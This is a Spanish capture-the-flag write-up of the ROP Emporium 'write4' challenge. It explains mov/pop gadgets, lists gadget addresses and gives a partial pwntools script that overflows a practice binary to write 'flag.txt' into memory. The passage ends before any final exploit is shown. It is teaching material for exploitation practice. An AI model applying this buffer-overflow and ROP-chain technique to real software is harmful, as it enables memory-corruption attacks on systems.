Solución ropemporium write4
En este post, resolveré Ropemporium Write4. Empezamos como siempre leyendo el enunciado de la web de Ropemporium.
ENUNCIADO
Cord cut On completing our usual checks for interesting strings and symbols in this binary we’re confronted with the stark truth that our favourite string “/bin/cat flag.txt” is not present this time. Although you’ll see later that there are other ways around this problem, such as resolving dynamically loaded libraries and using the strings present in those, we’ll stick to the challenge goal which is learning how to get data into the target process’s virtual address space via the magic of ROP.
Differences Things have been rearranged a little for this challenge; the printing logic has been moved into a separate library in an attempt to mitigate the alternate solution that is possible in the callme challenge. The stack smash also takes place in a function within that library, but don’t worry this will have no effect on your ROP chain.
Important! A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like “flag.txt”) as the 1st argument.
Read/Write Hopefully you’ve realised that ROP is just a form of arbitrary code execution and if we get creative we can leverage it to do things like write to or read from memory. The question we need to answer is: what mechanism are we going to use to solve this problem? Is there any built-in functionality to do the writing or do we need to use gadgets? In this challenge we won’t be using built-in functionality since that’s too similar to the previous challenges, instead we’ll be looking for gadgets that let us write a value to memory such as mov [reg], reg.
Información extraída
Una vez leído el enunciado, sacamos la siguiente información: la cadena “/bin/cat flag.txt” no está presente en el binario. Para resolverlo, nos indica que hay una función print_file()
que nos permite pasar argumentos para ver la bandera. En este desafío, no utilizaremos la funcionalidad integrada, sino que usaremos gadgets para permitir escribir valores en la memoria, como mov [reg], reg
.
Empezaremos por examinar las zonas en las que tenemos permisos de lectura y escritura (rw) utilizando radare. Abrimos el binario con radare y ejecutamos iS
para ver qué zonas podemos escribir.
Buscaremos ahora un gadget que nos permita hacer lo que se indica en el enunciado con mov
.
Hablemos un poco sobre ensamblador, ya que es fundamental para entender lo que estamos buscando. Un mov
en ensamblador es mover datos de un lugar de la memoria o entre registros. Un ejemplo para entenderlo:
mov eax, ebx ; Copiar el valor en el registro ebx al registro eax
mov [ecx], edx ; Almacenar el valor en el registro edx en la dirección de memoria apuntada por ecx
mov edx, 0x42 ; Asignar el valor inmediato 0x42 al registro edx
Ahora, sabiendo qué es mov, nos falta saber qué es pop. Se utiliza para extraer un valor de la pila (desapilar) y almacenarlo en el destino correspondiente. Ejemplos:
pop eax ; Desapilar un valor de la pila y almacenarlo en el registro eax
pop ebx ; Desapilar otro valor de la pila y almacenarlo en el registro ebx
pop dword [esp] ; Desapilar un valor y almacenarlo en la dirección de memoria apuntada por esp
Ahora que conocemos la función de pop en cargar registros, busquemos gadgets de pop de la siguiente manera:
Después de buscar gadgets, seleccionaremos los siguientes:
1
2
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
Veamos cómo se implementa en el script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#/usr/bin/python3
from pwn import process, p64, log
shell = process("./write4")
offset = 40
junk = b"A" * offset
rw = p64(0x600df0)
pop_r14_r15 = p64(0x400690)
mov_r14_r15 = p64(0x400628)
payload = b""
payload += junk
payload += pop_r14_r15 + rw + b"flag.txt"
payload += mov_r14_r15
shell.sendlineafter(b"> ", payload)
flag = shell.recvline_contains(b"ROPE").decode()
log.info(f"Flag: {flag}")
Hasta ahora, tenemos el script. Lo que falta es la dirección de la función que recibirá el parámetro. Para obtener las direcciones que nos faltan, utilizaremos radare y Ropgadget. La dirección de pop rdi ; ret la obtenemos filtrando con pop, como hicimos en unos pasos anteriores.
0x0000000000400693 : pop rdi ; ret
En la siguiente imagen, se puede observar cómo obtenemos la dirección de la función print_file() que se menciona en el enunciado.
Por lo tanto, el exploit final quedaría así.